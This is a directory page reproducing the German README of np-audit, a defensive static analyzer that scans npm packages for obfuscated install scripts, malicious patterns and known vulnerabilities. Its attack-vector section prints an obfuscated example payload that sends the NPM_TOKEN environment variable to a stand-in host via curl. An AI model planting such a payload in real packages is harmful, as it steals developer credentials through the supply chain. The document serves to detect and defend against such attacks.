Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
np-audit — Statische Sicherheitsanalyse für npm-Pakete. Erkennt obfuskierten Code, schädliche Muster und bekannte Schwachstellen vor der Installation. | Kitploit
Tools/GitHubGitHub/koblers/np-audit
Statische AnalyseSchwachstellenscannerCode-AnalyseMalware-AnalyseSecret-ErkennungLieferkettensicherheit
GitHubkoblers/np-audit

np-audit

Statische Sicherheitsanalyse für npm-Pakete. Erkennt obfuskierten Code, schädliche Muster und bekannte Schwachstellen vor der Installation.

Repository anzeigen
7vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

np-audit

npm version npm downloads npm package size GitHub license CI codecov

np-audit — npm-Paket-Auditor

Statische Sicherheitsanalyse für npm-Pakete – erkennt obfuskierte Lifecycle-Skripte, bekannte Schwachstellen und bösartige Muster bevor sie ausgeführt werden. Direkter Ersatz für npm install und npm ci.

Null Abhängigkeiten. Nur reine Node.js-Built-ins. < 100 kB übertragen.

root@kitploit:~
npx np-audit scan express
root@kitploit:~
npm install -g np-audit
npa scan                     # alle Abhängigkeiten scannen
npa install                  # prüfen, dann installieren
alias npm='npa'              # als direkten Ersatz verwenden

Marshallers

Die Erkennung ist in modulare Marshaller unterteilt – jeder erkennt ein einzelnes Angriffssignal:

Die Bewertungen skalieren mit dem Schweregrad – höhere Anzahlen von Obfuskierungsindikatoren erzeugen höhere Bewertungen. Das endgültige Urteil basiert auf der höchsten Einzelbewertung aller Marshaller.

Siehe CONTRIBUTING.md für Informationen zum Schreiben eigener Marshaller.


Schwachstellenscan (CVE)

Jedes gescannte Paket wird zusammen mit der Code-Analyse gegen bekannte Schwachstellendatenbanken geprüft.

Standard: OSV.dev (keine Einrichtung erforderlich)

Funktioniert sofort – fragt die kostenlose OSV.dev-API nach bekannten Schwachstellen und schädlichen Paketmeldungen ab.

Optional: Snyk API (umfangreichere Daten)

root@kitploit:~
# Umgebungsvariable
export SNYK_API_TOKEN=your-token-here

# Oder über die Snyk CLI
snyk auth

Token-Auflösungsreihenfolge: SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json

Nicht-schädliche CVEs erzeugen Warnungen, blockieren die Installation jedoch nie. Nur bestätigte schädliche Pakete lösen GEFAHR aus.


Verwendung

Befehle

Jeder nicht erkannte Befehl wird an npm weitergeleitet (z. B. npa run test, npa publish).

Flags

Interaktiver --review-Modus

root@kitploit:~
npa install --review
root@kitploit:~
  npa --review mode
  Verwenden Sie ↑/↓ zum Navigieren, LEERTASTE zum Umschalten, EINGABE zum Bestätigen, q zum Beenden

  Gefundene 3 Pakete mit Installationsskripten:

     [✓ erlauben] [email protected]       postinstall: post-install.js     OK
   ▶ [✗ ablehnen] [email protected]       postinstall: install.js          GEFAHR (Bewertung: 9)
     [✓ erlauben] @scope/[email protected]     postinstall: install.js          WARNUNG (Bewertung: 5)

  2 erlaubt  1 abgelehnt

Konfiguration

Die Konfiguration wird in ~/.npmauditor.json (global) gespeichert und kann pro Projekt mit .npmauditor.json überschrieben werden.

root@kitploit:~
npa config get                              # Aktuelle Konfiguration anzeigen
npa config set blockScore 6                 # Bei Bewertung 6+ blockieren
npa config set skipPackages '["esbuild"]'   # Bestimmte Pakete vertrauen
npa config set skipScopes '["@types"]'      # Ganze Scopes vertrauen

Alle Konfigurationsschlüssel

Deaktivieren von Marshallern

Sie können bestimmte Erkennungschecks deaktivieren, indem Sie deren Namen zu disabledMarshallers hinzufügen:

root@kitploit:~
npa config set disabledMarshallers '["process-env", "network-call"]'

Um alle verfügbaren Marshaller-Namen und deren aktuellen Status anzuzeigen:

root@kitploit:~
npa config marshallers

Dies ist nützlich, wenn ein Marshaller für Ihren Workflow falsch-positive Ergebnisse liefert. Deaktivierte Marshaller werden sowohl bei der statischen Code-Analyse als auch bei paketbezogenen Prüfungen vollständig übersprungen.


Shell-Alias

Verwenden Sie npa als transparenten npm-Ersatz:

root@kitploit:~
npa alias --install     # fügt hinzu: alias npm='npa'
source ~/.zshrc         # Shell neu laden

Jetzt scannen npm install und npm ci automatisch. Alle anderen npm-Befehle (npm run, npm test, npm publish) werden unverändert durchgereicht.

root@kitploit:~
npa alias --uninstall   # Alias entfernen

Funktionsweise

  1. Einlesen der package-lock.json (v1/v2/v3) oder Auflösung aus package.json
  2. Herunterladen der Tarballs von der Registry (oder Lesen aus node_modules)
  3. Parsen der Lifecycle-Befehle – zerlegt &&/||/;/|, behandelt node -e, sh -c, Shell-Skripte
  4. Durchlaufen des require()/import-Graphen von jedem Einstiegspunkt (Zyklenerkennung, Limit 50 Dateien / 5 MB)
  5. Analysieren mit allen Marshallern – statische Code-Prüfungen + CVE-Datenbankabfragen
  6. Bewerten und klassifizieren: GEFAHR / WARNUNG / OK
  7. Melden oder mit der Installation fortfahren

Der Angriffsvektor

Supply-Chain-Angriffe missbrauchen npm-Lifecycle-Skripte. Wenn Sie npm install ausführen, wird jedes preinstall/install/postinstall-Skript automatisch ausgeführt. Angreifer verstecken Payloads hinter Obfuskierung:

root@kitploit:~
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

Reale Vorfälle:

  • event-stream (2018) — Diebstahl von Bitcoin-Wallet-Anmeldeinformationen
  • ua-parser-js (2021) — Crypto-Miner + Informationsdieb
  • node-ipc (2022) — Geografisch gezielter Löschangriff
  • colors / faker (2022) — Sabotage durch Maintainer
  • SAP CAP / cds-dbs (2025) — Kompromittiertes Paket mit Zielrichtung Unternehmensentwickler

npa führt niemals Skripte aus. Es lädt sie herunter und analysiert sie statisch.


Exit-Codes

CodeBedeutung
0Alles sauber oder nur Warnungen
1Ein oder mehrere Pakete blockiert

Lizenz

MIT

Tool herunterladen
MarshallerErkenntScore
eval/dynamic-execeval(), new Function(), indirektes eval, vm.*, setTimeout mit String8
obfuscator.io_0x-Variablen-Benennungsmuster (obfuscator.io-Ausgabe)9–80
high-entropy-stringLange Strings oder Verkettungsketten mit hoher Shannon-Entropie6
hex-escape-densityDichte \xNN- und \uXXXX-Escape-Sequenzen5–50
fromCharCodeString.fromCharCode mit vielen Argumenten, große dezimale Zeichencode-Arrays7
encoded-decodeBase64/hex-Dekodierung (atob, Buffer.from) optional kombiniert mit eval3–8
child-processrequire('child_process'), exec, spawn, fork, worker_threads5
hex-arrayGroße Anzahl von 0x-hexadezimalen Literalen7–60
process-envprocess.env-Zugriff (Signal für Anmeldeinformationsdiebstahl)3
network-callrequire('https'), fetch(), dns, net, tls4
filesystem-manipulationfs.writeFile, chmod, symlink (Backdoor-Persistenz)3–4
runtime-downloadHerunterladen und Ausführen externer Laufzeiten (Bun, Deno)9–50
vscode-autorunVS Code-Aufgaben mit runOn: folderOpen (automatische Ausführung)30
known-vulnerabilityBekannte CVEs über Snyk API oder OSV.dev4–6 (WARNUNG), 80 (bösartig)
Schweregrad
Bewertung
Urteil
Schädliches Paket80GEFAHR
10+ Schwachstellen6WARNUNG
5–9 Schwachstellen5WARNUNG
1–4 Schwachstellen4WARNUNG
BefehlAliasBeschreibung
npa install [package]npa iAudit durchführen, dann npm install ausführen
npa ci—Audit durchführen, dann npm ci ausführen
npa scan [package]npa sNur scannen, keine Installation
npa config getnpa c getAktuelle Konfiguration anzeigen
npa config set <key> <value>npa c setKonfigurationswert aktualisieren
npa alias --install—Shell-Alias installieren
npa alias --uninstall—Shell-Alias entfernen
FlagAliasFunktioniert mitBeschreibung
--review-rinstall, ciInteraktiver Modus – wählen Sie, welche Skripte erlaubt werden
--json—install, ci, scanMaschinenlesbare JSON-Ausgabe
--no-dev—install, ci, scanEntwicklungsabhängigkeiten überspringen
--verbose—alleFortschritt und zusätzliche Details anzeigen
--version-v—Version ausgeben und beenden
--help-h—Hilfe ausgeben und beenden
SchlüsselStandardwertBeschreibung
blockScore7Bewertungsschwellwert für GEFAHR (Exit 1)
warnScore4Bewertungsschwellwert für WARNUNG (Exit 0)
registryhttps://registry.npmjs.orgnpm-Registry-URL
timeout30000HTTP-Request-Timeout (ms)
parallelFetches5Gleichzeitige Downloads
skipScopes[]@scope-Präfixe, die übersprungen werden
skipPackages[]Paketnamen, die übersprungen werden
silentfalseAusgabe unterdrücken, wenn keine Probleme gefunden
scanSelftrueEigene Projekt-Lifecycle-Skripte scannen
maxTarballSize50MBMaximale ungepackte Tarball-Größe (Bombenschutz)
checkVulnerabilitiestruePakete gegen CVE-Datenbanken prüfen
deepResolvefalseVollständigen transitiven Abhängigkeitsbaum auflösen
disabledMarshallers[]Marshaller-Namen, die beim Scannen übersprungen werden